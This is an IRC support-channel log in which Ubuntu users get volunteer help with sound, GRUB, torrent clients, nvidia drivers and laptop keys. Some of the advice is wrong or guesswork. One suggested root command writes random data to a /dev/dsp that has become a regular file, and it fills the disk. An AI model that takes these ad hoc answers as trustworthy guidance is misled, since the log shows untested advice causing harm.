[05:56] <Gh0stee> bwana_card, you mean "Other Options"?
[05:56] <mwazny> I'm not sure if any1 would know how to solve this but I installed azureus and could run it just fine and then I tried to upgrade to vuze but the upgrader bugged out and now whenever I try to even run azureus, it closes immediately
[05:56] <bwana_card> that might be it
[05:56] <Crozar> ruben, ubuntu runs well it detects everything like vista , but installing it can go with many methods , the simple method or doing the manual way if it doesnt understand running it , type dmesg to see the hardware then go for google for help
[05:56] <ujy99> im setting up RAID1 on my box... should i include SWAP in my RAID?
[05:56] <ruben> yes , if you can help me with flash is it ok
[05:56] <usr13> But I do know how to do it in terminal, (that's the only way I've done it).
[05:56] <bwana_card> there's a command line at the boot menu
[05:56] <jscinoz> why is everyone suddenly disconnecting?
[05:56] <bwana_card> and you can specify hardware settings
[05:56] <cdm10> !netsplit | jscinoz
[05:56] <cdm10> damn, don't tell me we lost ubotu
[05:56] <Gh0stee> yeah, what do I put?
[05:56] <mwazny> and I even tried uninstalling azureus but it still closes every time I run it
[05:57] <cdm10> mwazny: I wouldn't use Azureus, it seems to get into these states where you have to delete your config to get it to work
[05:57] <mneptok> cdm10: "we lost ubotu"
[05:57] <jscinoz> *lays a rose on ubotu's coffin*
[05:57] <Hiko96786> Why does Gutsy Gibbon just freeze up?
[05:57] <cdm10> mneptok: dammit, i'm all alone without ubotu!
[05:57] <bwana_card> depends on your disk.. if you look at your hard drive it should have that info on it somewhere
[05:57] <cdm10> Hiko96786: That's a pretty general question...
[05:57] <bwana_card> proally won't make a difference.. but you can try
[05:57] <mwazny> hmm out of curiosity, how do you delete your config?
[05:57] <Crozar> !help
[05:57] <cdm10> mwazny: try going into your home folder, hitting ctrl-h, finding .azureus, and deleting it
[05:57] <mneptok> mwazny: sudo apt-get install deluge
[05:57] <Gh0stee> bwana_card, I should note that has a full ubuntu install on it already, I'm justr trying to boot to fix Grub
[05:57] <bwana_card> i could see how your error might have something to do with those settings
[05:57] <Hiko96786> It is. It used to happen to me in Windows.
[05:57] <bwana_card> doubtful but possible
[05:57] <mwazny> k thx
[05:57] <cdm10> mwazny: but I seriously recommend using Deluge, it's in Add/Remove if you want it. It's fast, and doesn't break.
[05:57] <ujy99> im setting up RAID1 on my box... should i include SWAP in my RAID?
[05:58] <dissection> I have a few problems. 1) There's no audio through the headphone jack. 2) The brightness doesn't reduce when its running on battery, so I get minimal backup time 3) Though the multimedia keys are all recognized in keyboard shortcuts, they still don't do anything 4) In built webcam doesn't work 5) Blu-ray data discs don't get mounted. Can someone help me with anything at all?
[05:58] <cdm10> Hiko96786: When does it happen?
[05:58] <gluonman> I can't view my friend's webcam on Kopete. I try to and it says "Webcam for is not available." It says Yahoo plugin - Kopete. What do I need to install to view the webcam?
[05:58] <bwana_card> shouldn't neeed the live cd to fix grub
[05:58] <Gh0stee> How else can I?
[05:58] <punzada> anyone know the proper command line syntax to load firefox with a specific profile?
[05:58] <bwana_card> what are you trying to fix?
[05:58] <ruben> well thanks anyway
[05:58] <usr13> gluonman: Depends on what kind of webcam it is.
[05:58] <ruben> bye
[05:58] <Gh0stee> Grub freezes after loading Stage 1.5
[05:58] <Hiko96786> This last time I booted up, opened text editor and firefox. Typed a little, walked away and it froze.
[05:58] <Crozar> dissection, what kind of laptop ? its new but what kind
[05:58] <bwana_card> ohh yeah..
[05:59] <scyTh3> Like I said I am a bit new to ubuntu, I am trying to set the system to go straight to the console on login- not X. I guess the root password is wrong. Is there a default root passwd when first installing the system?
[05:59] <dissection> Crozar, Sony Vaio AR590E
[05:59] <cdm10> Hiko96786: Could it be overheating? It sounds like a hardware issue if you had similar issues with XP.
[05:59] <bwana_card> there's a way to boot into a recovery OS..
[05:59] <gluonman> usr13, it's my friend cam, not mine. I just want to view it.
[05:59] <Crozar> dissection, hopefully soon ubuntu is working on the new things, but right now wacom support is preferable
[05:59] <Hiko96786> No. I have not used XP in over 2 years. I went to Linux in 05.
[05:59] <gluonman> usr13, in other words, it's not a cam I'm connecting to my computer.
[05:59] <cdm10> Hiko96786: Also, on the Ubuntu boot menu, select memtest86 and let that run for a while... see if it finds any memory issues.
[05:59] <dissection> Crozar, wacom?
[05:59] <cdm10> Hiko96786: Didn't you just say that you had the same problem in XP?
[05:59] <Crozar> wacom stuff like compaq hp
[05:59] <Hiko96786> I ran it when installed ok.
[05:59] <mneptok> scyTh3: there is no root password. use sudo.
[06:00] <Crozar> ibm
[06:00] <Hiko96786> But I can do it again, I suppose.
[06:00] <dissection> okay.
[06:00] <scyTh3> mneptok, ok.
[06:00] <Hiko96786> No, I said"
[06:00] <cdm10> Hiko96786: alright... also see if it could be overheating.
[06:00] <Hiko96786> It is. It used to happen to me in Windows.
[06:00] <Hiko96786> " that.
[06:00] <dissection> What about my multimedia keys? They are detected correctly in keyboard shortcuts, and yet they don't do anything
[06:00] <bwana_card> dissection.. just becasue it recognizes that the keys are there doesn't mean it knows what to do when they're pressed
[06:01] <dissection> bwana_card, I mean its detected when I press it
[06:01] <gluonman> usr13, but if it still matters what kind of cam it is, it's Creative PC Cam 880.
[06:01] <bwana_card> how do you know?
[06:01] <bwana_card> what does it do?
[06:01] <Hiko96786> Ok I will check that.
[06:01] <biouser> I just installed the latest updates and I lost the sound on my toshiba laptop
[06:01] <Hiko96786> It is about 3 years old.
[06:01] <Hiko96786> My computer

[06:01] <Hiko96786> Thank you cdm10
[06:01] <bwana_card> hello fred
[06:02] <Crozar> dissection, i have a keyboard Minoto i dont know what that brand is but the keys like www and home and sound up and down works even sleep and mute
[06:02] <fred> hello bwana
[06:02] <cdm10> Hiko96786: sorry I couldn't help you with more specific advice
[06:02] <biouser> The volume control did not find any elements and/or devices to control. This means either that you don't have the right GStreamer plugins installed, or that you don't have a sound card configured.
[06:02] <biouser> You can remove the volume control from the panel by right-clicking the speaker icon on the panel and selecting "Remove From Panel" from the menu.
[06:02] <bwana_card> nice
[06:02] <Hiko96786> No worries. I appreciate that you took the time.
[06:02] <fred> french speacking ?
[06:02] <dissection> bwana_card, like, if I go there to set a new shortcut for Play/Pause, and I press the button, it says "XF86AudioPause", and likewise, for all other keys.
[06:02] <toot> thank u all all for the help
[06:02] <bwana_card> you need drivers
[06:02] <Hiko96786> Linux is friendly.
[06:02] <Hiko96786> :)
[06:03] <gluonman> usr13, are you still there?
[06:03] <mneptok> fred: pour IRC en Francais, /join #ubuntu-fr ou #ubuntu-qc, STP
[06:03] <biouser> I was just listening to something a little while ago, I installed updates that I didn't really look at.  Now I have no sound
[06:03] <cdm10> Hiko96786: Oh, I wouldn't be so sure... we tend to be one of the friendlier Linux channels.
[06:03] <biouser> after rebooting
[06:03] <usr13> Whoever it was with the firefox question:  firefox -ProfileManager
[06:03] <biouser> and rebooting again
[06:03] <bwana_card> well x86 is a processor type
[06:03] <devilsadvocate> Hi... my kvm crashes each time I try to boot into an .iso of windows xp, giving an aborted : core dumped almost immediately. I've got an Intel Core2Duo E6600 running Ubuntu Gutsy.. is there something I am missing?
[06:03] <usr13> gluonman: Yes
[06:03] <bwana_card> don't know if that has anything to do with xf86
[06:03] <fridgid> is there a place i can get a torrent version of 7.10 alt?
[06:03] <cdm10> bwana_card: xf86 is an X server that's not used in Ubuntu
[06:03] <mneptok> fridgid: every mirror has it
[06:04] <scyTh3> Where can I change the default runlevel So ubuntu will go to console and not X so I can just issue a startx to test my xorg.conf
[06:04] <cdm10> fridgid: yeah, look at the alternate download locations at the bottom of every mirror page
[06:04] <Hiko96786> cdm10 You are right. Hey, there are rude people everywhere. But so far, it is nothing that being polite can't overcome.
[06:04] <fridgid> ty mneptok and cdm10
[06:04] <bwana_card> think that has anything to do with his problem
[06:04] <biouser> I am running an older kernel b/c the ACPI wasn't working out in the newer ones (I think I am running edgy)
[06:04] <cdm10> scyTh3: just boot in recovery mode from grub
[06:04] <mneptok> scyTh3: just use another virtual console?
[06:04] <dissection> cdm10, so that means those keys wont work in Ubuntu
[06:04] <gluonman> usr13, do you know what plugin(s) I need to support the viewing of the webcam through Kopete? It worked fine before, but I think something is missing from when I used sudo apt-get autoremove and sudo apt-get autoclean yesterday.
[06:04] <dissection> cdm10, so that means those keys wont work in Ubuntu
[06:04] <bwana_card> it's sending a command to something that's not used anymore
[06:04] <dissection> argh! netsplit
[06:04] <cdm10> dissection: not really, they could still work with software to handle them.
[06:05] <bwana_card> software = drivers
[06:05] <usr13> gluonman: Sorry, I don't know.
[06:05] <scyTh3> Ok, I will try, thanks again. If I don't show up again soon...It means I am reinstalling ubuntu :(
[06:05] <cdm10> pretty much...
[06:05] <Hiko96786> My laptop loves Ubuntu.
[06:05] <cdm10> We still don't have the bot
[06:05] <gluonman> usr13, okay.
[06:05] <cdm10> Hiko96786: Sure doesn't sound like it from your problem :)
[06:05] <dissection> Mhm
[06:05] <Hiko96786> That's my desktop cdm10.
[06:05] <usr13> gotta turn in for the night.  Been fun... ..
[06:05] <Pogonip_> I seem to have lost my permissions.  I tried to sudo users-admin and I get "You are not allowed to access the system configuration." why?
[06:05] <Hiko96786> All my computers run Linux.
[06:05] <cdm10> Hiko96786: oh, ok :)
[06:05] <biouser> my laptop loved ubuntu for a bout a year until a couple of minutes ago
[06:05] <dwf_starband> i was messing with desktop effects and now when ever i try to log on with that user all i get is a blank screen with the mouse in it, what is the best way to get a usable desktop back without loosing stuff from that user?
[06:06] <devilsadvocate> scyTh3: sudo telinit 1 (i think, maybe 2) swutches to the single user moe. But you are better off booting into the reocovery mode
[06:06] <Hiko96786> :)
[06:06] <dissection> Does Ubuntu's paid support assist with installing the drivers I need?
[06:06] <dwf_starband> is there a way to disable desktop effects from the terminal?
[06:06] <mneptok> dissection: what drivers?
[06:06] <Hiko96786> Anyone here listen to Linux Reality?
[06:06] <biouser> dwf_starband, apt-get install ubuntu-desktop?
[06:06] <sFEARs> i doubt it dissection
[06:06] <cdm10> biouser: This may sound stupid, but have you checked all the volume controls? Also, it's possible that they'll  fix it in a later update.
[06:06] <Hiko96786> or the Linux Link Tech Show?
[06:06] <Gh0stee> How can you tell if a HDD is dead or not?
[06:06] <Crozar> cdm10, or usr13 theyr should be some1 here who controls the questions and take them and write it into a table of basis for issues and give it to the community so then they can avoid such problems by updating ubuntu rather then the slow phrase by bug sites and forum , people must organize these by forums and have a room monthly update , anything new only , old will be updated with a smart forum trick to recognize on how to extend the problem
[06:06] <Crozar> and fix it...
[06:06] <sFEARs> you need support from your computer manufacturer.. and they proally don't support linux
[06:06] <cdm10> Gh0stee: Does it have a pulse?
[06:06] <cdm10> Gh0stee: I'm really not sure, I would think it's obvious.
[06:07] <gluonman> I can't view my buddy's webcam on Kopete! Error message saying: "Webcam for is not available" - and the heading is "Yahoo plugin - Kopete". What am I missing?
[06:07] <dissection> mneptok: I don't know. Whatever I need to get my brightness keys, headphone jack, multimedia keys, etc to work.
[06:07] <biouser> cdm10, yes, the volume is up, the panel icon is cross out and says: The volume control did not find any elements and/or devices to control. This means either that you don't have the right GStreamer plugins installed, or that you don't have a sound card configured.
[06:07] <biouser> You can remove the volume control from the panel by right-clicking the speaker icon on the panel and selecting "Remove From Panel" from the menu.
[06:07] <dissection> Well the brightness key's the most important of all
[06:07] <sFEARs> dissection
[06:07] <biouser> is there anyway I can see what I just installed?
[06:07] <cdm10> biouser: have you rebooted yet?
[06:07] <mneptok> dissection: we'll try to help, but can make no guarantees as we do not control the hardware.
[06:07] <biouser> cdm10, twice
[06:07] <dwf_starband> ubuntu-desktop is already the newest version.
[06:07] <cdm10> biouser: i'm not sure if it keeps an update log
[06:07] <Hiko96786> dwf_starband, describe that again?
[06:07] <sFEARs> your best way to get them to work is hire a programmer to write you a driver for your keyboard
[06:07] <mneptok> dissection: it's not officially supported, but we'd make a best effort.
[06:08] <sFEARs> that's what you need to search for
[06:08] <scyTh3> devilsadvocate, thanks
[06:08] <cdm10> biouser: run this command: cat /dev/urandom /dev/dsp
[06:08] <biouser> cdm10, it worked until the first reboot
[06:08] <cdm10> biouser: eck, taht's wrong
[06:08] <sFEARs> your not really gonna get any help in a chat room
[06:08] <Hiko96786> You want to disable desktop effects at the command line?
[06:08] <cdm10> biouser: cat /dev/urandom > /dev/dsp
[06:08] <mneptok> sFEARs: says you
[06:08] <mneptok> ;)
[06:08] <sFEARs> point noted
[06:08] <Crozar> i believe the community will rise radically strong i hope the people appreciate and try to help it by working on such , similar to car constraction has an assembly line we need this here lets extend the assembly from our part by sending the relevant information
[06:08] <cdm10> ?
[06:08] <dwf_starband> I was messing around with the desktop effects in gutsy and now when i log in with that user all i get are a blank brown screen a blank black screen and a mouse which changes to an X when in the black screen
[06:08] <biouser> cdm10, permission denied even with sudo
[06:08] <dissection> mneptok, yeah I understand that. So what do I do exactly?
[06:09] <Hiko96786> I have no idea if that is in xorg.conf or not.
[06:09] <biouser> that's funny, never seen that
[06:09] <sFEARs> follow the carrot donkey
[06:09] <bovoid> has anyone heard that the update manager upgrade to 7.10 idiotically grub-updates /dev/[hs]da1 instead of /dev/[hs]da ?
[06:09] <cdm10> biouser: do this: sudo -i
[06:09] <mneptok> dissection: to purchase a support contract?
[06:09] <cdm10> biouser: then run cat /dev/urandom > /dev/dsp (no sudo)
[06:09] <dissection> mneptok, no, to get my brightness keys to work
[06:09] <biouser> cdm10, no space left on device
[06:09] <Pogonip_> biouser; I'm getting permission denied with sudo too.  Any ideas
[06:10] <mneptok> dissection: what model keyboard?
[06:10] <cdm10> biouser: it's a driver problem then...
[06:10] <biouser> cat: write error: No space left on device
[06:10] <gluonman> I can't view my buddy's webcam on Kopete! Error message saying: "Webcam for is not available" - and the heading is "Yahoo plugin - Kopete". What am I missing?
[06:10] <dissection> mneptok: The laptop keyboard
[06:10] <cdm10> biouser: do this: sudo aptitude show linux-restricted-modules-`uname -r` | grep State
[06:10] <dwf_starband> Hiko96786: I was messing around with the desktop effects in gutsy and now when i log in with that user all i get are a blank brown screen a blank black screen and a mouse which changes to an X when in the black screen
[06:10] <biouser> Pogonip, sudo -i
[06:10] <mneptok> dissection: "the laptop?"
[06:10] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[06:10] <scyTh3> E: Invalid operation nvidia-glx
[06:10] <scyTh3>  :(
[06:10] <sFEARs> i think he means your typewriter keyboard
[06:10] <cdm10> biouser: did you get that?
[06:10] <mneptok> dissection: specificity *really* helps
[06:10] <dissection> mneptok, AR590E
[06:10] <bovoid> biouser: or your /dev/dsp has the wrong device type
[06:10] <cdm10> scyTh3: sudo apt-get install nvidia-glx, not sudo apt-get nvidia-glx
[06:11] <biouser>  sudo aptitude show linux-restricted-modules-`uname -r` | grep State
[06:11] <mneptok> dissection: enter the values in the file
[06:11] <scyTh3> heh, thanks
[06:11] <cdm10> biouser: yup
[06:11] <Hiko96786> Sounds like tvwm or another windows manager is kicking in.
[06:11] <biouser> State: installed
[06:11] <sknh> Hi, can anyone help me with sound on Gutsy
[06:11] <cdm10> biouser: ok, i'm out of ideas...
[06:11] <dissection> mneptok, Which file, what values?
[06:11] <sknh> I am using Dell 1520 laptop
[06:11] <cdm10> sknh: did an update break it?
[06:11] <Hiko96786> dwf_starband, does it automatically go to X?
[06:11] <mneptok> dissection: what make of laptop?
[06:11] <sknh> I have tried sudo apt-get install linux-backports-modules-generic
[06:11] <biouser> this is an old P4 Toshiba Satellite
[06:11] <sknh> but it didn't work
[06:11] <dissection> mneptok, Sony Vaio AR590E
[06:11] <dwf_starband> what do you mean? automaticly?
[06:12] <Hiko96786> You get a GUI when you boot?
[06:12] <sFEARs> ahh.. there might be some hope for you yet
[06:12] <bovoid> biouser: what does (ls -l /dev/dsp) say?
[06:12] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[06:12] <Hiko96786> AKA a login and password screen?
[06:12] <sFEARs> nice laptop
[06:12] <Hiko96786> Then I cons, et al
[06:12] <cdm10> ShadowApex: I believe you can set your primary sound device in System>Preferences>Sound
[06:12] <biouser> -rw-r--r-- 1 root root 10350592 2007-11-08 01:09 /dev/dsp
[06:12] <dwf_starband> it automaticly goes when i reboot, but i havent turned the computer off yet, just loged off and on
[06:12] <dissection> mneptok, on the forum, some people use the sonypi driver, some use the sony-laptop driver.. I never saw any discussions about the model I have, so I don't know which one to install
[06:13] <bovoid> biouser: that first dash on the line should be a "c"
[06:13] <ShadowApex> cdm10: I did that but it will only play through a few applications; e.g. amarok but not flash or vlc
[06:13] <Hiko96786> dwf_starband, ok reboot.
[06:13] <scyTh3> cdm10, sudo apt-get install nvidia-glx seems to be complete. I reboot and see if It works? Or I need to set up the xorg.conf?
[06:13] <biouser> bovoid, -rw-r--r-- 1 root root 10350592 2007-11-08 01:09 /dev/dsp
[06:13] <Pogonip_> biouser; Same problem, I get
[06:13] <dwf_starband> ok, ill be back, thanks
[06:13] <Hiko96786> Tell me if you can login to Gnome or not
[06:13] <cdm10> scyTh3: you need to set xorg.conf to use nvidia
[06:13] <bertrf01> how can I change the Icon for Network manager up the top to a new one
[06:13] <cdm10> scyTh3: if that doesn't work, try removing nvidia-glx and installing nvidia-glx-new
[06:13] <Pogonip_> biouser; Same problem, I get (users-admin:8152): Liboobs-WARNING; followed by some other stuff
[06:13] <cdm10> scyTh3: i just thought of that, it's possible that that's the case
[06:13] <scyTh3> cdm10, ok.
[06:14] <ShadowApex> scyTh3: Have you tried using Envy?
[06:14] <cdm10> ShadowApex: He hasn't, and he won't.
[06:14] <bovoid> biouser , Pogonip_ : it should be something like crw-rw---- 1 root audio 14, 3 2007-11-07 20:53 /dev/dsp
[06:14] <scyTh3> ShadowApx, no. Is that just debian/ubuntu specific?
[06:14] <biouser> bovoid, maybe it will be okay in a while with a few reboots, this laptop is pretty solid, but known for anomalies
[06:14] <biouser> bovoid, how can I change it?
[06:14] <cdm10> scyTh3: it's a script that installs the nvidia drivers... but you don't need that.
[06:14] <ShadowApex> scyTh3: oh yeah, I'm sorry, you're using a different distro?
[06:14] <gluonman> I can't view my buddy's webcam on Kopete! Error message saying: "Webcam for is not available" - and the heading is "Yahoo plugin - Kopete". What am I missing?
[06:15] <bovoid> so how does one change one's /dev/dsp back to a character device when it's become a file???
[06:15] <sknh> Hello, can anyone help me out with the sound problem?
[06:15] <cdm10> scyTh3: you could try it if all else fails, but it has a tendency to break stuff because the driver ends up less integrated with the package management system than the normal way of doing it.
[06:15] <Hiko96786> What kind sknh?
[06:15] <biouser> bovoid, I give up, how?
[06:15] <sknh> no sound on my dell 1520 laptop
[06:15] <Jordan_U_> bertrf01, They are in /usr/share/icons/gnome/scalable/status/
[06:15] <Gh0stee> How about this... Does this mean my drive is dead?
[06:15] <Gh0stee> ata1.00: tag 0 cmd 0x25 Emask 0x9 stat 0x51 err 0x40 (media error)
[06:15] <Gh0stee> ata1: EH complete
[06:15] <Gh0stee> ata1.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0
[06:15] <Gh0stee> ata1.00: (BMDMA stat 0x60)
[06:15] <bovoid> biouser: I am not sure, I think you have to run mknod but hold on
[06:15] <Hiko96786> What distro?
[06:16] <Pogonip_> bovoid; Let me understand, if I type sudo -i I should get crw-rw----....?
[06:16] <sknh> It used to work on Fiesty but I upgraded to Gutsy and it stopped working
[06:16] <biouser> sknh, is this a new problem?
[06:16] <ShadowApex> scyTh3: Yeah, sometimes it works flawlessly, sometimes it breaks your xorg, lol
[06:16] <mneptok> dissection: looks like those keys require special ACPI kernel modules
[06:16] <Hiko96786> Upgraded?
[06:16] <biouser> sknh, I just took an update and my sound went byebye
[06:16] <Jordan_U_> bovoid, What do you mean "become a file" ?
[06:16] <sknh> yes upgraded to Gutsy from Fiesty
[06:16] <ShadowApex> scyTh3: I'd say for the most part though, Envy works fairly well
[06:16] <scyTh3> ShadowApex, I can not break my system more then I have...I am on number 8 install...
[06:16] <bovoid> Pogonip_: yes
[06:16] <bertrf01> Jordan_U_ if I overwrite them will it change
[06:16] <Hiko96786> Ok.
[06:16] <biouser> sknh, how did you upgrade?
[06:17] <ShadowApex> scyTh3: lol, well it's certainly an option for you
[06:17] <Hiko96786> Is alsa being loaded on boot up?
[06:17] <sknh> Upgrade Manager
[06:17] <Jordan_U_> bertrf01, I believe so, you will probably need to restart nm-applet though
